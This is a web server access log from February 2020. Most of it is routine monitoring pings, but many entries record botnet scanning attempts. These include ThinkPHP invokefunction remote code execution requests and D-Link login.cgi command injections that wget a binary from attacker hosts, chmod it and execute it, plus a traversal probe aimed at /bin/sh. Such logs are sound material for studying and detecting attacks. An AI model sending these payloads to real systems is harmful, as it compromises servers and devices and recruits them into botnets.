124.6.232.78 - - [10/Feb/2020:08:18:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:08:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.156.81.107 - - [10/Feb/2020:08:19:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [10/Feb/2020:08:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.26.154.92 - - [10/Feb/2020:08:21:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [10/Feb/2020:08:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.78.208.229 - - [10/Feb/2020:08:23:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:08:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.87.249.194 - - [10/Feb/2020:08:28:50 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
42.113.229.228 - - [10/Feb/2020:08:29:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.57.69 - - [10/Feb/2020:08:29:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:08:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.85.0.52 - - [10/Feb/2020:08:30:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:08:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.53.176.227 - - [10/Feb/2020:08:34:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:08:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:46:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:47:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.233.122.34 - - [10/Feb/2020:08:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:08:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:49:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:50:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:51:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.136.210.37 - - [10/Feb/2020:08:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [10/Feb/2020:08:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.87.249.194 - - [10/Feb/2020:08:53:47 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:08:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:55:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.248.142 - - [10/Feb/2020:08:55:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:08:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.180.83.54 - - [10/Feb/2020:08:57:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:08:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:08:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.223.108 - - [10/Feb/2020:09:01:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
206.189.62.194 - - [10/Feb/2020:09:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:09:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.122.221 - - [10/Feb/2020:09:04:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.135.90.61 - - [10/Feb/2020:09:05:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:09:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.91.22.42 - - [10/Feb/2020:09:06:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.141.7 - - [10/Feb/2020:09:06:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:09:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.85.57.15 - - [10/Feb/2020:09:08:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:09:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.94.19.57 - - [10/Feb/2020:09:09:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:09:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.166.94 - - [10/Feb/2020:09:10:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:09:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [10/Feb/2020:09:12:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [10/Feb/2020:09:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.177.231 - - [10/Feb/2020:09:12:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:09:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.101.149 - - [10/Feb/2020:09:14:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
147.30.44.28 - - [10/Feb/2020:09:15:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:09:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.117.12 - - [10/Feb/2020:09:19:12 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.117.12 - - [10/Feb/2020:09:19:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [10/Feb/2020:09:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [10/Feb/2020:09:20:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [10/Feb/2020:09:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.58.123.178 - - [10/Feb/2020:09:26:45 +0100] "POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" 404 323 "-" "-"
212.91.246.72 - - [10/Feb/2020:09:27:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:29:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [10/Feb/2020:09:29:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.26.6.5 - - [10/Feb/2020:09:30:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:09:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:31:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.6.52.53 - - [10/Feb/2020:09:32:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:09:33:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.44.176.6 - - [10/Feb/2020:09:34:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [10/Feb/2020:09:34:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:35:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.248.173.145 - - [10/Feb/2020:09:36:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:09:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.94.125.239 - - [10/Feb/2020:09:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
95.38.71.11 - - [10/Feb/2020:09:37:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:09:37:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.16.155.102 - - [10/Feb/2020:09:37:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:09:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:39:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:40:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.89.82 - - [10/Feb/2020:09:42:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:09:42:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:43:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.123.16.108 - - [10/Feb/2020:09:44:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.127.239.4 - - [10/Feb/2020:09:44:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:09:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:09:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.248.141.70 - - [10/Feb/2020:09:48:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
